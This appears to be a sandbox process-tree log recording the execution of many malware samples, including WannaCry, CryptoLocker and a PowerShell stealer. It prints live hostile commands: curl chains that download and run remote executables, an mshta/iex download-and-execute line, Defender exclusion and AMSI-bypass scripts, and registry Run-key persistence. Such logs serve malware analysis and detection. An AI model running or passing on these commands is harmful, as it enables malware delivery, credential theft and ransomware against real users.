RustMe.exe && start RustMeDebyg.exe' -WindowStyle Hidden"7⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\system32\cmd.exe" /c curl -s -L -o %TEMP%\7z.dll https://github.com/d1ovu/pon/raw/refs/heads/main/7z.dll && curl -s -L -o %TEMP%\7z.exe https://github.com/d1ovu/pon/raw/refs/heads/main/7z.exe && curl -s -L -o %TEMP%\RustMeDebyg.exe https://github.com/d1ovu/pon/raw/refs/heads/main/RustMeDebyg.exe && curl -s -L -o %TEMP%\libcurl-x64.dll https://github.com/d1ovu/pon/raw/refs/heads/main/libcurl-x64.dll && curl -s -L -o %TEMP%\libc++.dll https://github.com/d1ovu/pon/raw/refs/heads/main/libc++.dll && curl -s -L -o %TEMP%\libunwind.dll https://github.com/d1ovu/pon/raw/refs/heads/main/libunwind.dll && curl -s -L -o %TEMP%\RustMe.exe https://github.com/d1ovu/pon/raw/refs/heads/main/RustMe.exe && curl -s -L -o %TEMP%\DebugConfig.bat https://github.com/d1ovu/pon/raw/refs/heads/main/DebugConfig.bat && cd %TEMP% && start RustMe.exe && start RustMeDebyg.exe8⤵
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\LOIC.exeLOIC.exe3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe task.vbs3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\steamcmd.exesteamcmd.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\steamcmd.exe"C:\Users\Admin\AppData\Local\Temp\a\steamcmd.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\mely.exemely.exe3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYQBcAG0AZQBsAHkALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYQBcAG0AZQBsAHkALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AZQBtAGIAZQByAE4AYQBtAGUALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBlAG0AYgBlAHIATgBhAG0AZQAuAGUAeABlAA==4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\better.exebetter.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl api.ezilax.com4⤵
-
C:\Windows\system32\curl.execurl api.ezilax.com5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\WxWorkMultiOpen.exeWxWorkMultiOpen.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\RustMeDebyg.exeRustMeDebyg.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\RustMe.exeRustMe.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\keepon.exekeepon.exe3⤵
-
C:\Windows\System32\werfault.exe\??\C:\Windows\System32\werfault.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\VC_redist.x64.exeVC_redist.x64.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\VC_redist.x64.exe"C:\Users\Admin\AppData\Local\Temp\a\VC_redist.x64.exe"4⤵
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\System32\schtasks.exe" /Create /TN "khrob" /XML "C:\Users\Admin\AppData\Local\Temp\a8e1ef85111c49e6944d12104bd86a65.xml" /F5⤵
-
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\System32\schtasks.exe" /Create /TN "Opcode" /XML "C:\Users\Admin\AppData\Local\Temp\f55ec404d53e40058179304567a5a170.xml" /F5⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File trapapO.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c update0.bat3⤵
-
C:\Windows\system32\chcp.comchcp.com 4374⤵
-
-
C:\Windows\system32\findstr.exefindstr /L /I set update0.bat4⤵
-
-
C:\Windows\system32\findstr.exefindstr /L /I goto update0.bat4⤵
-
-
C:\Windows\system32\findstr.exefindstr /L /I echo update0.bat4⤵
-
-
C:\Windows\system32\findstr.exefindstr /L /I pause update0.bat4⤵
-
-
C:\Windows\system32\find.exefind4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c type tmp4⤵
-
-
C:\Windows\system32\find.exefind4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c type tmp4⤵
-
-
C:\Windows\system32\cmd.execmd /c C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden C:\Users\Public\Document\python C:\Users\Public\Document\Lib\sim.py;4⤵
- Hide Artifacts: Hidden Window
-
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exeC:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden C:\Users\Public\Document\python C:\Users\Public\Document\Lib\sim.py;5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\chrome_134.exechrome_134.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\cummersMG.execummersMG.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\GARO%20X.exeGARO%20X.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Installer.exeInstaller.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\tomcat8.exetomcat8.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\agent.exeagent.exe3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c wp.bat3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c FORFILES.EXE /P C:\Users\Admin\AppData\Local\Temp\a\ /M wp.bat /C "CMD /C ECHO. 0x1B[32m((,.,/((((((((((((((((((((/, */0x1B[97m"4⤵
- Indirect Command Execution
-
C:\Windows\system32\forfiles.exeFORFILES.EXE /P C:\Users\Admin\AppData\Local\Temp\a\ /M wp.bat /C "CMD /C ECHO. 0x1B[32m((,.,/((((((((((((((((((((/, */0x1B[97m"5⤵
- Indirect Command Execution
-
C:\Windows\system32\CMD.exe/C ECHO. [32m((,.,/((((((((((((((((((((/, */[97m6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c FORFILES.EXE /P C:\Users\Admin\AppData\Local\Temp\a\ /M wp.bat /C "CMD /C ECHO. 0x1B[32m,/*,..*(((((((((((((((((((((((((((((((((,0x1B[97m"4⤵
- Indirect Command Execution
-
C:\Windows\system32\forfiles.exeFORFILES.EXE /P C:\Users\Admin\AppData\Local\Temp\a\ /M wp.bat /C "CMD /C ECHO. 0x1B[32m,/*,..*(((((((((((((((((((((((((((((((((,0x1B[97m"5⤵
- Indirect Command Execution
-
C:\Windows\system32\CMD.exe/C ECHO. [32m,/*,..*(((((((((((((((((((((((((((((((((,[97m6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c FORFILES.EXE /P C:\Users\Admin\AppData\Local\Temp\a\ /M wp.bat /C "CMD /C ECHO. 0x1B[33m[+]0x1B[97m GPP Password"4⤵
- Indirect Command Execution
-
C:\Windows\system32\forfiles.exeFORFILES.EXE /P C:\Users\Admin\AppData\Local\Temp\a\ /M wp.bat /C "CMD /C ECHO. 0x1B[33m[+]0x1B[97m GPP Password"5⤵
- Indirect Command Execution
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File kematian_shellcode.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File main.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\doxxer.exedoxxer.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\doxxer.exedoxxer.exe4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\CryptoWall.exeCryptoWall.exe3⤵
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\syswow64\explorer.exe"4⤵
-
C:\Windows\SysWOW64\svchost.exe-k netsvcs5⤵
-
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c main.bat3⤵
-
C:\Windows\system32\net.exenet session4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵
-
-
-
C:\Windows\system32\mshta.exemshta vbscript:close(createobject("wscript.shell").run("powershell $ProgressPreference = 'SilentlyContinue';$webhook = 'YOUR_URL_HERE_SERVER';$debug = $false;$vm_protect = $false;$encryption_key = 'YOUR_ENC_KEY_HERE';$blockhostsfile = $false;$criticalprocess = $false;$melt = $false;$fakeerror = $false;$persistence = $false;$write_disk_only = $false;$record_mic = $false;$webcam = $false;Iwr -Uri 'https://github.com/Pirate-Devs/Kematian/raw/main/frontend-src/main.ps1' -USeB | iex",0))4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ProgressPreference = 'SilentlyContinue';$webhook = 'YOUR_URL_HERE_SERVER';$debug = $false;$vm_protect = $false;$encryption_key = 'YOUR_ENC_KEY_HERE';$blockhostsfile = $false;$criticalprocess = $false;$melt = $false;$fakeerror = $false;$persistence = $false;$write_disk_only = $false;$record_mic = $false;$webcam = $false;Iwr -Uri 'https://github.com/Pirate-Devs/Kematian/raw/main/frontend-src/main.ps1' -USeB | iex5⤵
-
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c Worm.bat3⤵
-
C:\Windows\system32\reg.exereg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f4⤵
- Modifies registry key
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f4⤵
- Modifies registry key
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\mail.vbs"4⤵
-
-
C:\Windows\system32\reg.exereg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f4⤵
- Modifies registry key
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f4⤵
- Modifies registry key
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\mail.vbs"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Prolin.exeProlin.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\CryptoLocker.exeCryptoLocker.exe3⤵
-
C:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exe"C:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exe" "/rC:\Users\Admin\AppData\Local\Temp\a\CryptoLocker.exe"4⤵
-
C:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exe"C:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exe" /w000002445⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\PDFConverter_P2W154-zx-666.exePDFConverter_P2W154-zx-666.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\rod_en_1.exerod_en_1.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RMO_SE~2.EXEC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RMO_SE~2.EXE /PARENT-INST4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-BP92G.tmp\is-I8TTE.tmp"C:\Users\Admin\AppData\Local\Temp\is-BP92G.tmp\is-I8TTE.tmp" /SL4 $2115A "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RMO_SE~2.EXE" 766219 51712 /PARENT-INST5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\rmd_en_1.exermd_en_1.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\setup.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\setup.exe /PARENT-INST4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-OM1G7.tmp\is-O5FIV.tmp"C:\Users\Admin\AppData\Local\Temp\is-OM1G7.tmp\is-O5FIV.tmp" /SL4 $2132E "C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\setup.exe" 749088 51712 /PARENT-INST5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\rxd_en_1.exerxd_en_1.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\REXCEL~1.EXEC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\REXCEL~1.EXE4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\bmw_v1.7.exebmw_v1.7.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\sgn.exesgn.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Microsoftbs.exeMicrosoftbs.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\yx_dts.exeyx_dts.exe3⤵
-
C:\Users\Admin\AppData\Roaming\dts\mydts\dts.exe"C:\Users\Admin\AppData\Roaming\dts\mydts\dts.exe" SW_SHOWNORMAL4⤵
-
-
C:\Users\Admin\AppData\Roaming\dts\mydts\dts.exe"C:\Users\Admin\AppData\Roaming\dts\mydts\dts.exe" /autorun /setuprun4⤵
-
-
C:\Users\Admin\AppData\Roaming\dts\mydts\dts.exe"C:\Users\Admin\AppData\Roaming\dts\mydts\dts.exe" /setupsucc4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File bsodlogicbomb.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\NPS.exeNPS.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File PowerSyringe.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Invoke-ReflectivePEInjection.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Masquerade-PEB.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\ClassTicket.exeClassTicket.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\teleport-assist-windows.exeteleport-assist-windows.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File UACBStartup.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\iu3lq22u\iu3lq22u.cmdline"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF304.tmp" "c:\Users\Admin\AppData\Local\Temp\iu3lq22u\CSC483932C44B84409FBB4F5A861E3CB0BB.TMP"5⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Invoke-Shellcode-fixed.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\pe2shc.exepe2shc.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c pause4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File OneDoesNotSimplyBypassEntireWinDefender.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\Axam.a.exeAxam.a.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Brontok.exeBrontok.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File NewAmsiBypass.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zgucc1lp\zgucc1lp.cmdline"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6710.tmp" "c:\Users\Admin\AppData\Local\Temp\zgucc1lp\CSC9B3592EF583343EDB2A1513B7A8750.TMP"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Bugsoft.exeBugsoft.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c c:\windows\jk.bat4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Anap.a.exeAnap.a.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\rickroll.exerickroll.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Amus.exeAmus.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\G7_Update.exeG7_Update.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\GMT\UpdateDIr\G7_Update_240401\install.bat" "4⤵
-
C:\Windows\SysWOW64\taskkill.exeTaskkill /f /im "BasmDocu.exe"5⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 15⤵
- Delays execution with timeout.exe
-
-
C:\GMT\UpdateDIr\G7_Update_240401\IniEditor.exeIniEditor.exe5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\UrbanVPN.exeUrbanVPN.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\svhost.exesvhost.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Invoke-NiceLittleKittieobf.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File meter5555.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\lvbvjlrw\lvbvjlrw.cmdline"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE3C2.tmp" "c:\Users\Admin\AppData\Local\Temp\lvbvjlrw\CSCB930DB40E34043AE85C1417B294A84BF.TMP"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\riende.exeriende.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Invoke-NiceLittleKittie.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\WannaCry.exeWannaCry.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c 205021782380213.bat4⤵
-
C:\Windows\SysWOW64\cscript.execscript //nologo c.vbs5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\!WannaDecryptor!.exe!WannaDecryptor!.exe f4⤵
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im MSExchange*4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im Microsoft.Exchange.*4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im sqlserver.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im sqlwriter.exe4⤵
- Kills process with taskkill
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Phantom.exePhantom.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\second.exesecond.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\second.exesecond.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\hbvTmbP46IIEeHP1.exehbvTmbP46IIEeHP1.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\pvp.exepvp.exe3⤵
-
C:\Users\Admin\AppData\Roaming\riende.exe"C:\Users\Admin\AppData\Roaming\riende.exe"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File reverse.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\Darwin.exeDarwin.exe3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c ud.bat3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Vector-fixer-v1.4.2.exeVector-fixer-v1.4.2.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Vector-fixer-v1.4.2.exeVector-fixer-v1.4.2.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\q-AMD64-Windows.exeq-AMD64-Windows.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\q-AMD64-Windows.exeq-AMD64-Windows.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\BootstrapperNew.exeBootstrapperNew.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\gallery-dl.exegallery-dl.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\gallery-dl.exegallery-dl.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\darts-wled.exedarts-wled.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\darts-wled.exedarts-wled.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\namu832.exenamu832.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\32.exe32.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\darts-gif.exedarts-gif.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\darts-gif.exedarts-gif.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\sm.exesm.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\SAMSUNG\USB Drivers\Setup.exe"C:\Users\Admin\AppData\Local\Temp\SAMSUNG\USB Drivers\\Setup.exe" -chk_inst_ui4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\msedge.exemsedge.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\msedge.exe'4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\nircmd.exenircmd.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\AddMeFast%20Bot.exeAddMeFast%20Bot.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\pst.exepst.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\brbotnet.exebrbotnet.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\GestionICC.exeGestionICC.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\setup.exesetup.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Updater.exeUpdater.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\TianSys(XP%E4%B8%93%E7%94%A8).exeTianSys(XP%E4%B8%93%E7%94%A8).exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\TSDT2\x86\7zg.exeC:\Users\Admin\AppData\Local\Temp\TSDT2\x86\7zg.exe x "C:\Users\Admin\AppData\Local\Temp\a\TianSys(XP%E4%B8%93%E7%94%A8).exe" -oC:\Users\Admin\AppData\Local\Temp\TSDT2 -y4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\RuntimeBroker.exeRuntimeBroker.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\disbalancer-go-client-windows-386.exedisbalancer-go-client-windows-386.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\cfxre.execfxre.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\cfxre.execfxre.exe4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\haozip_tiny.201805.exehaozip_tiny.201805.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\pkexU0YtxaR3.exepkexU0YtxaR3.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\RDPW_Installer.exeRDPW_Installer.exe3⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\5CE4.tmp\5CE5.tmp\5CE6.bat C:\Users\Admin\AppData\Local\Temp\a\RDPW_Installer.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\5CE4.tmp\RDPWInst.exe"RDPWInst" -u5⤵
-
-
C:\Windows\system32\PING.EXEping -n 3 localhost5⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\system32\xcopy.exexcopy "RDP_CnC.exe" "C:\Program Files\RDP Wrapper\" /s /I /y5⤵
-
-
C:\Windows\system32\xcopy.exexcopy "RDPWInst.exe" "C:\Program Files\RDP Wrapper\" /s /I /y5⤵
-
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i r.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\snd16061.exesnd16061.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Roaming\WinSupUpdata\client32.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Cloudy.exeCloudy.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Cloudy.exeCloudy.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ChilledWindows.GUI.exeChilledWindows.GUI.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\CHROMI~2.EXEC:\Users\Admin\AppData\Local\Temp\IXP003.TMP\CHROMI~2.EXE4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\BruterV3.1.exeBruterV3.1.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Konsol.exeKonsol.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\XClient.exeXClient.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\IcarusLite-v1.1.13-win.exeIcarusLite-v1.1.13-win.exe3⤵
-
